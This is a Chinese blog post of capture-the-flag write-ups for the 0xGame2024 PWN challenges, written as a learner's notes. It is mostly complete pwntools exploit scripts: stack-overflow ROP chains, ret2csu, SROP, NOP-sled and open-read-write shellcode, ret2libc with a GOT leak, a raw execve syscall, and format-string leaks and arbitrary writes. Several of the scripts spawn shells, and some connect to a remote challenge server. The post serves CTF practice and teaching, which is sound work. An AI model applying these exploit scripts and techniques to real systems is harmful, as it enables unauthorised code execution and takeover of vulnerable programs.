0xGame2024 PWN 刷题

0xGame2024 PWN 刷题

Week1

Stack overflow

img

填充字符到返回地址

img

发现调用system函数的函数开始地址

但是不能直接返回他,存在栈对齐问题

栈地址末尾要么是0要么是8

为使rsp对齐16字节(末尾为0),核心思想就是增加或减少栈内容(pop或push操作),使rsp地址能相应的增加或减少8字节

解决方法1

img

跳过这个push操作(其他不一定是push操作,可以从开始地址最大加16次,总能找到一个栈操作)

解决方法2

先返回一个ret指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐)

可以使用ROPgadget寻找

img

from pwn import *

context.log_level = "debug"
p = process("./pwn")

# payload = b'a'*40 + p64(0x4012c2)
payload = b'a'*40 + p64(0x40101a)+ p64(0x4012BD)
p.send(payload)

p.interactive()

Positive

img

输入一个buf,转为int赋值给nbytes,nbytes为读取v4的长度

这里使用(unsigned int)对int类型进行转换,存在整数溢出

可以读取很大的数据,也就存在栈溢出

img

同样进行栈对齐

from pwn import *

context.log_level = "debug"
p = process("./pwn")

p.send(b'-1')
# payload = b'a'*0x38 + p64(0x000000000040101a)+ p64(0x40126a)
payload = b'a'*0x38 + p64(0x40126f)
p.send(payload)

p.interactive()

find_me

img

伪随机数,打开fake_flag,然后打开flag

关键是没有对打开的文件进行close,能够在fd中读取内容

img

img

可以进行两次读取,进行read或write操作,读取的数字为fd

我们可以先通过伪随机数预判出打开次数,然后+3即为flag的fd,进行读取

img

然后通过write进行回显,但是代码close(1)关闭了标准输出,我们可以通过stderr来回显

from pwn import *
import ctypes

context.log_level = "debug"
p = process("./pwn")

libc = ctypes.cdll.LoadLibrary('./libc.so.6')

seed = libc.time(0)

libc.srand(seed)

tmp = libc.rand()
v4 = tmp%100

flag_fd = v4+3

p.sendline(b'0')
p.sendline(flag_fd.encode())
p.sendline(b'1')
p.sendline(b'2')

p.interactive()

Where_is_my_binsh

img

img

第一个read使bss段可写,第二个read栈溢出

有system函数

img

因此可以将 /bin/sh 写入 bss 段, 然后找一个 pop rdi ; ret 的 gadget, 最后 call _system 即可

img

from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
p = process("./pwn")

system_call = 0x401237
pop_rdi_ret = 0x401323
bss_addr = 0x404090

# payload = flat([
#     b'a' * 0x18,
#     pop_rdi_ret,
#     bss_addr,
#     system_call
# ])

payload1 = b'a'*0x18 +p64(pop_rdi_ret)+p64(bss_addr)+p64(0x401237)
p.recvuntil(b'it:\n')
p.sendline(b'/bin/sh')
p.recvuntil(b'now ?\n')
p.send(payload1)

p.interactive()

注意使用flat要指定对应的context.arch,还是直接p64好,但数据多还是算了

ret2csu

也是比较经典的考法

和上一题的区别就是把system换为execve函数

img

img

他们的区别是参数个数不同

这里思路也是类似的,写入/bin/sh,然后找gadget,最后call _execve

但是这里我们找不到rdx的gadget(第三个参数)

img

顶多只有rsi(第二个参数)

这里就用到ret2csu这个比较通用的gadget

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu

img

通过控制rbx,rbp,r12,r13,r14,r15,进而控制rdx,rsi,edi(高32位为0相当于就是控制了rdi)

call指令下要满足条件,不发生跳转

rbx + 1 = rbp

一般把rbx=0,rbp=1,这样在call时r15直接能控制

img

此外这题还有个细节大佬wp没讲,要跳过这个strlen,避免被exit

在buf中要输入\x00进行截断

from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
p = process("./pwn")

call_execve = 0x40126D
bss_binsh = 0x404090
bss_execve = bss_binsh + 8

csu_gadget1 = 0x4013BA
csu_gadget2 = 0x4013A0

payload = flat([
    b'\x00',
    b'a'*0x17,
    csu_gadget1,
    0,
    1,
    bss_binsh,
    0,
    0,
    bss_execve,
    csu_gadget2,
])

p.recvuntil(b'her~\n')
p.send(b'/bin/sh\x00'+p64(call_execve))
# gdb.attach(p)
p.recvuntil(b'do?\n')
p.send(payload)
p.interactive()

Week2

Srop

img

程序只有很小一段, 考点是 SROP (Sigreturn Oriented Programming)

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

简单来说当栈溢出的空间足够大时, 可以利用 sigreturn syscall 恢复所有寄存器的状态 (通过存储在用户态栈上的 Signal Frame, 长度为 248), 通过多个 Signal Frame 可以实现类似 ROP Chain 的效果, 因此被叫做 SROP

CTF Wiki 里对于 SROP 的例题, 其 exp 构造是非常精巧的, 而这道题相对来说会更简单一些, 不需要泄露任何地址

ROPgadget/ropper 找不到任何能控制 rax 的 gadget, 因此这里对于 rax 的控制就需要用到 sys_write, 该函数会将写入的字符数量 (\x00 之前) 返回, 而众所周知函数的返回值就使用 rax 传递的

因此通过控制字符串的数量, 就可以控制 rax, 进而调用 sigreturn syscall

syscall_ret = 0x040100a
buf = 0x403000 - 0x200
main_addr = 0x401021

read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = buf
read_frame.rdx = 8
read_frame.rsp = buf
read_frame.rip = syscall_ret

payload = flat([
    b'a' * 15 + b'\x00',
    b'b' * 64,
    syscall_ret,
    read_frame
])

详细讲解下部分payload

首先控制write函数返回值为15,此时的rax为15,然后遇到返回地址的syscall_ret

这时syscall就会根据rax的值为15执行sigreturn

在SigreturnFrame中rip可以理解为当前执行的操作,是syscall

同理会去判断这时候的rax,我们给他赋值为了0,即read

然后设置参数的值,rsp为执行完毕后下一步的地址

这里的payload意义就是读取一个地址,然后跳到那个地址

这里我们想要传main函数的地址,让他再走一次输入

第二个payload要传入/bin/sh字符串,然后gdb调出他的地址

不会调。。。

shellcode-lv0

img

创建了个buf地址,写入0x100

然后生成随机数,执行buf+(v3 %256)地址的shellcode

如何绕过呢,可以往shellcode前面全部填nop指令

不管随机到哪(除非跳到shellcode中间),遇到nop就会一直往后,直到shellcode

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
p = process("./pwn")

shellcode = asm(shellcraft.sh())  # 实际shellcode
nop_sled = b'\x90' * (256 - len(shellcode))  # NOP填充

payload = nop_sled + shellcode

p.recvuntil(b'Show me what you want to run: ')
p.send(payload)

# 无论从哪里开始,都会滑到shellcode
p.interactive()

shellcode-lv1

img

多了个sandbox

img

img

不能命令执行,那就跟读取文件(思路跟web差不多)

open打开fd,read对应fd,最后write到stdout进行回显

这就是我们俗称的orw

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
p = process("./pwn")

shellcode = asm('''
        /* 准备文件名 */
        mov rax, 0x67616c66     /* "flag" */
        push rax
        mov rdi, rsp            /* rdi = "flag" */
        
        /* open("flag", 0) */
        xor rsi, rsi            /* O_RDONLY */
        mov rax, 2              /* SYS_open */
        syscall
        
        /* 保存文件描述符 */
        mov r8, rax
        
        /* read(fd, rsp-0x100, 0x100) */
        mov rdi, r8             /* fd */
        sub rsp, 0x100
        mov rsi, rsp            /* buffer */
        mov rdx, 0x100          /* count */
        xor rax, rax            /* SYS_read */
        syscall
        
        /* write(1, rsp, rax) */
        mov rdx, rax            /* count = 读取的字节数 */
        mov rdi, 1              /* stdout */
        mov rsi, rsp            /* buffer */
        mov rax, 1              /* SYS_write */
        syscall
        
        /* exit(0) */
        xor rdi, rdi
        mov rax, 60             /* SYS_exit */
        syscall
    ''')  # 实际shellcode
nop_sled = b'\x90' * (256 - len(shellcode))  # NOP填充

payload = nop_sled + shellcode

p.recvuntil(b'Show me what you want to run: ')
p.send(payload)

# 无论从哪里开始,都会滑到shellcode
p.interactive()

看到wp还能直接用cat的

from pwn import *

# 构造NOP滑梯

context.arch = 'amd64'
context.log_level = "debug"
p = process("./pwn")

shellcode = asm(shellcraft.cat('flag'))
nop_sled = b'\x90' * (256 - len(shellcode))  # NOP填充

payload = nop_sled + shellcode

p.recvuntil(b'Show me what you want to run: ')
p.send(payload)

# 无论从哪里开始,都会滑到shellcode
p.interactive()

ret2libc

跟题目一样名字的考点,非常经典

img

常规的 ret2libc, 第一次泄露 puts GOT 然后跳回到 main, 第二次构造 ROP 执行 system, 注意 16 字节对齐

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  #本地libc,打远程时换为题目给出的libc

p = process('./pwn')

pop_rdi = 0x4012c3

payload = b'a'*0x28

payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])

p.recvuntil(b'Does a dynamic doll need libc ?\n')
p.send(payload)

real_puts = u64(p.recv(6).ljust(0x8,b'\x00'))
print(hex(real_puts))

libcbase = real_puts - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh\0'))

payload = b'a'*0x28

payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(0x40101a)
payload += p64(system_addr)

p.recvuntil(b'Does a dynamic doll need libc ?')
p.send(payload)

p.interactive()

syscall_playground

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-58h] BYREF
  int v4; // [rsp+Ch] [rbp-54h] BYREF
  signed int v5; // [rsp+10h] [rbp-50h] BYREF
  signed int i; // [rsp+14h] [rbp-4Ch]
  int v7; // [rsp+18h] [rbp-48h]
  int avail_buffer; // [rsp+1Ch] [rbp-44h]
  __int64 s; // [rsp+20h] [rbp-40h] BYREF
  __int64 v10; // [rsp+28h] [rbp-38h]
  __int64 v11; // [rsp+30h] [rbp-30h]
  __int64 v12; // [rsp+38h] [rbp-28h]
  __int64 v13; // [rsp+40h] [rbp-20h]
  __int64 v14; // [rsp+48h] [rbp-18h]
  unsigned __int64 v15; // [rsp+58h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  bufinit(argc, argv, envp);
  while ( 1 )
  {
    puts("1. Prepare a buffer");
    puts("2. Recycle a buffer");
    puts("3. Initiate a syscall with glibc wrapper");
    printf("Your choice: ");
    __isoc99_scanf("%d", &v3);
    if ( v3 == 3 )
    {
      puts("Now I will initiate a syscall with glibc wrapper");
      printf("Which syscall do you want to call: ");
      __isoc99_scanf("%d", &v4);
      printf("Input the arguments count: ");
      __isoc99_scanf("%d", &v5);
      s = 0;
      v10 = 0;
      v11 = 0;
      v12 = 0;
      v13 = 0;
      v14 = 0;
      memset(&s, 0, 0x30u);
      for ( i = 0; i < v5; ++i )
      {
        printf("Input the argument %d: ", i);
        __isoc99_scanf("%llu", &s + i);
      }
      printf("Initating syscall %d with %d arguments\n", v4, v5);
      v7 = syscall(v4, s, v10, v11, v12, v13, v14);
      printf("Syscall returned with code %d\n", v7);
LABEL_18:
      puts("Invalid choice");
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_18;
      if ( v3 == 1 )
      {
        avail_buffer = find_avail_buffer();
        if ( avail_buffer == -1 )
        {
          puts("No available buffer");
        }
        else
        {
          *((_QWORD *)&buffers + avail_buffer) = malloc(0x400u);
          printf(
            "Buffer %d is prepared. Size: %d, located at %p\n",
            avail_buffer,
            1024,
            *((const void **)&buffers + avail_buffer));
          printf("Input your data: ");
          read(0, *((void **)&buffers + avail_buffer), 0x400u);
          puts("Data is stored");
        }
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_18;
        printf("Which buffer do you want to recycle: ");
        __isoc99_scanf("%d", &v5);
        if ( (unsigned int)v5 <= 5 && *((_QWORD *)&buffers + v5) )
        {
          free(*((void **)&buffers + v5));
          *((_QWORD *)&buffers + v5) = 0;
          printf("Buffer %d is recycled\n", v5);
        }
        else
        {
          puts("Invalid buffer");
        }
      }
    }
  }
}

就一个syscall,可以传系统调用号,和任意参数

先创建一个buffer,得到一个地址,写入/bin/sh

然后调用就行

from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.97.58.52', 42010)

p.sendlineafter(b'choice: ', b'1')
p.recvuntil(b'located at ')

addr = p.recvuntil(b'\n', drop=True)
p.sendafter(b'data: ', b'/bin/sh\0')
sleep(0.1)

p.sendlineafter(b'choice', b'3')
sleep(0.1)

p.sendlineafter(b'call: ', b'59')
sleep(0.1)

p.sendlineafter(b'count: ', b'3')
sleep(0.1)

rsi = b'0'
rdx = b'0'
rdi = str(int(addr, 16)).encode()

for i in [rdi, rsi, rdx]:
    p.sendlineafter(b': ', i)
    sleep(0.1)

p.interactive()

Boom

这题简直招笑

img

img

/dev/random随机生成secret,然后与输入比较,对了就拿shell

strcmp, 因此就会存在 \x00 截断的问题, 在生成 secret 时会有 1/256 的概率生成一个以 \x00 开头的字符串, 进而绕过 strcmp

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

while True:
    p = process('./pwn')

    p.sendafter(b'thinking?',b'\x00'*0x30)

    p.recvline()
    res = p.recvline()

    if b"WOW" in res:
        break

    p.close()
p.interactive()

ez_format

[*] '/home/ubuntu/Pwn/0xGame/week_2/ez_format/pwn'    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  open("/flag", 0);
  read(3, &flag, 0x30uLL);
  close(3);
  puts("We've told her a SECRET.");
  puts("Can you talk to her and get it ?");
  while ( 1 )
  {
    printf("Say something:");
    read(0, buf, 0x20uLL);
    puts("\nShanghai!");
    printf(buf);
    puts("Shanghai!\n");
  }
}

格式化字符串漏洞,然后flag存储的地址

但是开了pie,要算pie的基址

可以找__libc_csu_init对printf的偏移,。。。。。不会

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 42001)
e = ELF('./pwn_patch')

payload = b'%7$p'

p.recvuntil(b':')
p.sendline(payload)
p.recvuntil(b'Shanghai!\n')

lib_csu_init_addr = int(p.recv(14), 16)
print('__libc_csu_init addr', hex(lib_csu_init_addr))

pie_base_addr = lib_csu_init_addr - e.symbols['__libc_csu_init']
bss_flag_addr = pie_base_addr + 0x40c0 

print('pie base addr:', hex(pie_base_addr))
print('bss flag addr:', hex(bss_flag_addr))

payload = b'%7$saaaa' + p64(bss_flag_addr)

p.recvuntil(b':')
p.sendline(payload)

p.interactive()

fmt2shellcode

[*] '/mnt/e/ctf-learning/pwn/0xgame2024/Week 2/fmt2shellcode/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

又开了pie

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  mmap((void *)0x114514000LL, 0x1000u, 7, 34, -1, 0);
  puts("Try to teach her to do something.");
  while ( 1 )
  {
    printf("Say something:");
    read(0, buf, 0x20u);
    if ( !strcmp(buf, "stop") )
      break;
    puts("\nShanghai!");
    printf(buf);
    puts("Shanghai!\n");
  }
  if ( key == 26318864 )
  {
    puts("She understand you and will do what you say!");
    read(0, (void *)0x114514000LL, 0x50u);
    MEMORY[0x114514000]();
  }
  puts("Goodbye~");
  return 0;
}

格式化字符串中的任意地址写,然后执行shellcode

同上因为开了pie,还是找__libc_csu_init。。。。不会

from pwn import *
from time import sleep

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# p = process('./pwn_patch')
p = remote('47.97.58.52', 42002)
e = ELF('./pwn_patch')

def fmt(prev, word, index):
    fmtstr = b''
    if prev < word:
        result = word - prev
        fmtstr = b'%' + str(result).encode() + b'c'
    elif prev == word:
        pass
    else:
        result = 256 + word - prev
        fmtstr = b'%' + str(result).encode() + b'c'
    
    fmtstr += b'%' + str(index).encode() + b'$hhn'
    return fmtstr

payload = b'%7$p\x00'

p.recvuntil(b':')
p.send(payload)

p.recvuntil(b'Shanghai!\n')
libc_csu_init_addr = int(p.recvuntil('Shanghai', drop=True), 16)
pie_base_addr = libc_csu_init_addr - e.symbols['__libc_csu_init']
key_addr = pie_base_addr + 0x04068

print('__libc_csu_init addr:', hex(libc_csu_init_addr))
print('pie base addr:', hex(pie_base_addr))
print('key addr:', hex(key_addr))

#        0x00114514
target = 0x01919810

for i in range(8):
    payload = fmt(0, (target >> i * 8) & 0xff, 8).ljust(0x10, b'a') # ljust unit must 16 bits
    payload += p64(key_addr + i)

    p.recvuntil(b':')
    p.send(payload)
    sleep(0.1)

p.recvuntil(':')
p.send('stop\0')

p.recvuntil('say!')
p.send(asm(shellcraft.sh()))

p.interactive()





 from pwn import *  context(os='linux', arch='amd64', log_level='debug')  #p = process('./pwn')  p = remote('47.97.58.52', 42002)  shell_addr = 0x114514000  #gdb.attach(p)  p.sendafter("something:",b'aaaabbbb%9$p')  p.recvuntil('bbbb')  pie = int(p.recv(14),16) - 0x1140  print("pie_base = ",hex(pie))  key = pie + 0x4068  payload1 = b'%38928c' + b'%8$hn'  payload1 = payload1.ljust(0x10,b'a')  payload1 += p64(key)  p.sendafter("something:",payload1)  payload2 = b'%401c' + b'%8$hn'  payload2 = payload2.ljust(0x10,b'a')  payload2 += p64(key + 0x2)  p.sendafter("something:",payload2)  p.sendafter("something:",b'stop\x00')  payload3 = asm(shellcraft.sh())  print(hex(len(payload3)))  p.sendafter("do what you say!\n",payload3)  p.interactive()

pwn太jb难了,打会扫雷吧

img


0xGame2024 PWN 刷题
https://zer0peach.github.io/2025/08/11/0xGame2024-PWN-刷题/
作者
Zer0peach
发布于
2025年8月11日
许可协议